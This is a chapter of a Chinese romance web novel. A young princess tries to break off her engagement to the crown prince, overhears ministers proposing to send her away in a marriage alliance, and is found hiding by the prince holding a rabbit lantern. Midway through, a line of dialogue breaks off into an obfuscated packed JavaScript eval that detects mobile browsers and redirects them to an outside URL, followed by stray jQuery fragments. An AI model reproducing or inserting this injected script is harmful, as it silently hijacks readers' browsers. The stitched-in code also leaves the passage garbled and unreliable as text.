9. 兔子灯
    晨光熹微,房门“吱呀——”一声敞开,房内的馨香气息被晨间清风吹散些许。

    “郡主呀,你怎么还没起身?”

    那淡紫帷幔仍合得严严实实,略显苍老的手将它掀开,露出里头一张深陷睡梦的精致小脸。

    祝云时被光刺得难受地睁开了眼,看着陌生又熟悉的帐顶,恍恍惚惚地想起——

    昨日她已经回京了。

    困意再度侵袭,她又闭上眼睛嘟囔:“阿玥姑姑,你让我再睡会。”

    “郡主啊,你不是辰时要进宫找太子殿下吗?”

    站在床前的老媪焦急催促着婢女将祝云时拉起。

    祝云时半梦半醒地由婢女们给她梳洗,套上衣裙。

    最后坐在梳妆台前,看着采枝给她梳小辫的手快到闪出乱影,这才找回清明。

    “阿玥姑姑,这几日可有阿爹的信?”

    算算日子,阿爹巡军也快结束了,何况洛昭国提前来访,阿爹定然要回京的。

    傅玥答道:“一大早刚收到,正要和郡主说呢,侯爷还有两三日就到京城了。”

    两三日?

    她终于能见到阿爹了!阿爹每年都在外巡军,他们一年能见面的时间拼拼凑凑也就个把个月而已。

    等阿爹回来,她退婚的事更是板上钉钉了!

    祝云时又想起昨日回府时——

    皇婶婶故意让谢星照送她回府,谢星照坏心地抵着车门,逼她答应明日就要兑现承诺去东宫给他诵书,否则就不让她回府。

    谢星照真是坏进骨子里了,回京的第一日就要她去他东宫应卯,也不让她多休息一日,做牛都没这么累的吧!

    偏偏他还有一堆歪理,说她晨间索性也没什么事做不如早点起身多看看书,他也是卯时就要起身上朝云云。

    一张厉害的嘴皮子说得她当时哑口无言,她被忽悠得迷迷糊糊就应下了。

    祝云时气不过狠狠一拍桌:“谢星照这人太坏了!”

    几个正给她梳妆的婢女吓了一跳。

    采枝轻哄道:“郡主,你不是正好也要去寻陛下吗?索性都是要进宫的,就当顺路了。”

    祝云时恍然,对啊,今日她一定要把这婚给退了,以后她跟谢星照再也没有任何瓜葛!

    睡意瞬间消散了个干净,她催促:“快点快点,我要赶紧去找谢星照。”

    *

    祝云时到东宫时已过辰时半。

    宫人带她往书房走,“太子殿下一下朝就在书房等郡主了。”

    末了还要补充一句感叹:“郡主和殿下感情真好。”

    祝云时:……

    小郡主默默地给自己顺气,罢了罢了,只要退了婚,就再也不会有人觉得她和谢星照情投意合、鹣鲽情深了!

    谢星照的书房她来过不少次,不过大多数的时候都是来搞破坏的,诵书这种上进积极的由头还是第一次。

    谢星照今日换回了太子常服,一身玄色,上绣金龙,正坐在窗前的小榻上,日光勾勒出他英挺的五官。

    见她进来,径直抛过来一本书。

    祝云时手忙脚乱地接住,怒道:“谢星照!”

    他轻飘飘道:“祝云时,你这迟到的性子还真是多年不变。本还以为第一日你会让我等上一个时辰,没想到这才半个时辰你就来了,还真是令我惊喜。”

    祝云时无言,幼时他们曾一同在学堂里待过两年,她作为谢遥苓的伴读,每日同谢遥苓一起迟到,这时夫子就会搬出每日总是第一个来学堂的谢星照训斥她们。

    于是祝云时就更讨厌谢星照了,她总是想不通,谢星照平日里那般顽劣,为何在学业上会一反常态的上进?

    她没心思同他斗嘴,走到榻前随意将那本书丢在榻上,抓起他的小臂就往外拉。

    “跟我走。”

    他皱眉不解:“去哪?”

    祝云时一脸不解,像是不明白他怎么会这么问:“去找皇伯伯啊,我们不是说好的回京就去找他退婚吗?”

    谢星照面色了然,然后抽回了手,又去拿被她丢在一旁的那本书。

    祝云时有些不耐烦了:“谢星照,你又玩什么花样?你不会真要我绑你过去吧。”

    谢星照往后一仰,“现在去也没用,父皇一下朝就和大臣商议朝政去了。”

    他将书往前递了递,“今天我就不同你计较迟到一事了,就诵到巳时吧。”

    祝云时接过,但却未翻开,她有更要紧的事想说:“洛昭国的人这几日就会到吗?”

    谢星照抬眼看她,像是不意外她会问这个问题。

    “约莫后日吧。”

    后日?那岂不是刚好碰上阿爹回京。

    她又问:“他们此次前来,是要商量什么?”

    洛昭国与他们接壤,本就诸多边境问题,十几年前更是爆发过一场战事。也正是那次,阿爹被派去前线,胜利后与洛昭国约定二十年内不得开战。

    但阿爹也因此连阿娘最后一面都没见到,祝云时心头开始闷痛。分隔将近一年,回来看到的却是妻子的灵堂。

    而最让她感到难受的是,随着时间的流逝,二十年将将过半,近一年来洛昭国又开始蠢蠢欲动。洛昭国人阴险图利,此次进京,想必也是逼皇伯伯给予好处换取边境和平。

    谢星照面色一凛,深深看了她一眼,随后笑道:“郡主殿下居然关心起国事了,是近日没出新的话本子,还是春喜班没排新戏?”

    “你可别拖延时间,快诵书吧。”

    谢星照真是好讨厌!

    祝云时瞪他一眼,谢星照嘴可真严,看来她问不出什么了,认命地翻开那册书,念了起来。

    她心里莫名乱成一团,更看不进去这些乱七八糟的文字。

    脑门突然被弹了一下,不痛,但吓了她一跳。

    她捂着额头,“谢星照!你干嘛?”

    他的手指似长了眼似的,精准地指向某一处,“这一行你直接跳过了,你都不觉得不连贯吗?”

    “祝云时,你是小和尚吗?”

    这是在说她有口无心了。

    “你听不就是了,缺几个字又不耽误什么。”

    谢星照轻哂一声:“既如此,等会我少说几个字想来也不耽误郡主。“

    又威胁她!

    偏生她还毫无办法。

    祝云时愤愤瞪他,不得不收起心里那些乱七八糟的情绪,将注意力集中在书上。

    巳时的钟声一响,祝云时立刻将书丢到一旁,将谢星照拖起来。

    “快走快走。”

    他却道:“父皇可能还在议事呢,你去了也是跑空一趟。“

    她才不信呢!离下朝都多久了,皇伯伯怎么可能还在议事?

    “你别以为这样说就能阻拦我,我今日一定要退婚!”

    谢星照依旧是那副不情不愿的模样,祝云时怕他半路跑了,紧紧地抓住他的小臂,隔着几层布料,她隐隐能感觉到那有力跳动的脉搏和他劲实的肌肉。

    谢星照也不反抗,就任她拉着,朝乾祥殿走去。

    一路上宫人均朝他们行礼。

    祝云时随意地摆摆手,脚步急促地行过。

    “郡主和殿下就这般明目张胆了?”

    “人家都定亲了,拉个手又有什么。干

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133950|150003||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    好你的活,别多嘴!”

    祝云时并未注意到宫人暧昧的眼神,脑子里想的全是一会她就与谢星照再无瓜葛了,所有人都会知道其实她一点儿也不喜欢谢星照!

    此处已能隐约看到乾祥殿,她心头砰砰,难以抑制地兴奋起来。

    乾祥殿外一片寂静,只有宫人守在外头。

    祝云时拉着谢星照走到殿门外,却见殿门紧闭,连皇帝的贴身大太监于公公都守在外头。

    她隐约能听到里头的谈话声,似是十分焦灼,想来是在商讨洛昭国来访一事,只是她听不清具体在说什么。

    “于公公,我同殿下寻皇伯伯有要事相商,皇伯伯还在同大臣议事吗?”

    于公公的表情自看到她和谢星照的那一瞬焦躁紧迫起来,“这……郡主,是的,您赶紧先回去吧。”

    说着似是意识到自己的反应奇怪,又笑着补充:“陛下正忙着呢,不若郡主过会子再来?”

    祝云时紧紧皱起了眉,是她误会了吗,怎么感觉于公公急着想让她离开?

    站在她身侧的谢星照挑眉无奈道:“和你说了吧。”

    说罢转身就走,见她还站在原地,不解问:“你不走?”

    就这么走了?怎的如此凑巧,她本都打好腹稿了。

    她十分不甘地同于公公说:“那等会结束了,你定要派人禀报我。”

    于公公忙点头哈腰,“奴才谨记。郡主您快走吧。”

    祝云时更困惑了,为何于公公这般急促地催她走?

    她正转过身,突然听到里头传来一阵噼里啪啦的碎瓷声,祝云时心头狠狠一跳。

    紧接着,皇帝暴怒的声音穿透殿门传了出来——

    “一个个的只会提出让嘉言郡主和亲这样的法子,朝廷就是养你们这等废物的吗!”

    “嘉言郡主已赐婚太子了,你们却一再上奏,是要忤逆朕吗!”

    祝云时心跳停了。

    殿内传来一片呼啦啦的跪倒声。

    “陛下,洛昭国皇子已指明要郡主,只要郡主能和亲,便能不费一兵一卒促成两国和平,这是利国利民的事啊!”

    “请陛下三思!”

    “朕说了不行就是不行!”

    祝云时双耳嗡嗡起来,眼前天旋地转,浑身血液都冻住了。

    谢星照来拉她的手,她抖得像筛糠一样把他的手甩开了。

    她跑了没几步,狠狠地摔在地上,因前几日坠马还未养好的手掌再次撕裂伤口,膝盖似乎也蹭破了,火辣辣的疼,身后似乎传来谢星照的脚步声还有唤她的声音。

    她顾不上衣裙上的灰,迅速爬了起来,又往前跑去。

    不知过了多久,祝云时伸出手,眼前一片黑暗。

    她垂下眼,看来天黑了。

    假山中本就漆黑,连仅有的一丝光线都无了,仅有潺潺流水声不断敲击她的耳膜。

    忽然,洞口处透进一束光。

    她没有多想,宫内禁卫森严,每夜都有无数禁卫军在宫内各个角落提灯巡逻。

    但那束光却迟迟未散,甚至还有变强的趋势。

    她被刺得眼睛微眯,转头看去——

    只见谢星照提着一盏兔子灯站在她一丈远处,气息不稳,身上的衣裳未换,还比白日里凌乱了不少。

    他看着她笑道:“怎么还和小时候一样,一有事就跑这来。”

    他提着灯一步步走到她身边,那兔子灯亮得她心神恍惚。

    谢星照蹲下来与她平视,墨黑的眸倒映着灯火,俊美的一张脸也被照得更加明亮。

    他盯着她的眼睛,“你就不能换个地方躲吗?”